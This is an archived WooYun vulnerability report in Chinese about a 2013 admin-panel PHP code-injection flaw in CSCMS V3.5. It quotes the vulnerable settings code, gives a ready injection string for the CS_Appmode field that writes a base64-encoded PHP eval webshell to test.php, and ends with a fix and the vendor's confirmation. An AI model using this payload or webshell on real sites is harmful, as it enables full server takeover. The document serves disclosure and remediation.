当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046603

漏洞标题:CSCMS V3.5 最新版 后台命令执行GETSHELL(源码详析)

相关厂商:chshcms.com

漏洞作者: lxj616

提交时间:2013-12-26 15:09

修复时间:2014-03-26 15:10

公开时间:2014-03-26 15:10

漏洞类型:命令执行

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-26: 细节已通知厂商并且等待厂商处理中
2013-12-26: 厂商已经确认,细节仅向厂商公开
2014-02-19: 细节向核心白帽子及相关领域专家公开
2014-03-01: 细节向普通白帽子公开
2014-03-11: 细节向实习白帽子公开
2014-03-26: 厂商提前公开漏洞,细节向公众公开

简要描述:

CSCMS V3.5 最新版 后台PHP命令执行GETSHELL(源码详析)
CSCMS的全新架构加强了安全性,以往的一串漏洞均已修复,
读代码,发现还有新的漏洞
代码分析见详细说明,测试演示在漏洞证明里

详细说明:

漏洞位置为后台的 网站设置-第三方登录设置 中

1.PNG


有关代码如下:
/app/controllers/admin/setting.php line:426

public function dengluedit() //设置第三方登录的几项配置
{
$this->CsdjAdmin->Admin_Qx('4');
//注意,本处已使用xss_clean过滤特定字符,之后的结论会用到
$CS_Appmode = $this->security->xss_clean($this->input->post('CS_Appmode', TRUE));
$CS_Appid = $this->security->xss_clean($this->input->post('CS_Appid', TRUE));
$CS_Appkey = $this->security->xss_clean($this->input->post('CS_Appkey', TRUE));
$strs="<?php"."\r\n";
$strs.="//登入开关 \r\n";
//注意下面这一句中$CS_Appmode没有保护,仅有之前的xss_clean过滤
$strs.="define(\"CS_Appmode\",".$CS_Appmode."); \r\n";
$strs.="//APP_ID \r\n";
//下面这一句就用双引号包住了,hehe?
$strs.="define(\"CS_Appid\",\"".$CS_Appid."\"); \r\n";
$strs.="//APP_KEY \r\n";
//下面这一句就用双引号包住了,hehe?
$strs.="define(\"CS_Appkey\",\"".$CS_Appkey."\"); \r\n";
//写文件
//这里已经没有限制,写到Cs_Denglu.php里了
if (!write_file('./csdj/lib/Cs_Denglu.php', $strs)){
$this->CsdjAdmin->Admin_Url('<font color=red>操作失败,文件没有写入权限!</font>',site_url('admin/setting/denglu/'));
}else{
$this->CsdjAdmin->Admin_Url('<font color=#0000ff>恭喜您,修改成功!</font>',site_url('admin/setting/denglu/'),'ok');
}
}


/csdj/lib/Cs_Denglu.php
正常的状态,之后会用到

<?php
//登入开关
define("CS_Appmode",1);
//APP_ID
define("CS_Appid","100272263");
//APP_KEY
define("CS_Appkey","7e26a29ec48b1be01a61169a01c5f5d1");


回头考虑xss_clean
这是CI框架的XSS过滤函数
具体的解析见官方文档,OK?
作用是去HTML标签,并且!!!让php标签safe!!!
意思就是不去php标签,这也是之后写php一句话马的基础
抓包

2.PNG


把1修改为:

1);file_put_contents("test.php",base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2x4ajYxNl0pPz4='));//


提示:那段base64原文是<?php @eval($_POST[lxj616])?>
请复制全code里面的所有内容,最后那个注释符号也要复制的
提交

3.PNG


查看刚才的/csdj/lib/Cs_Denglu.php

<?php
//登入开关
define("CS_Appmode",1);file_put_contents("test.php",base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2x4ajYxNl0pPz4='));//);
//APP_ID
define("CS_Appid","100272263");
//APP_KEY
define("CS_Appkey","7e26a29ec48b1be01a61169a01c5f5d1");


写木马的语句已经有了,由于之前提示“修改成功”后会自动返回之前的页面,又会加载这个php设置文件,因此这个语句应该已经执行完毕了

4.PNG


多出的test.php即为木马文件

6.PNG

漏洞证明:

1.PNG


2.PNG


3.PNG


4.PNG


6.PNG


用菜刀了,GETSHELL完毕

7.PNG


8.PNG

修复方案:

/app/controllers/admin/setting.php line:435

$strs.="define(\"CS_Appmode\",".$CS_Appmode.");  \r\n";


加上双引号保护,之后均以string方式处理,或者在intval回整数
不仅要防SQL注入,更要防PHP代码注入!!!

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-12-26 17:53

厂商回复:

谢谢

最新状态:

2013-12-29:已经修复!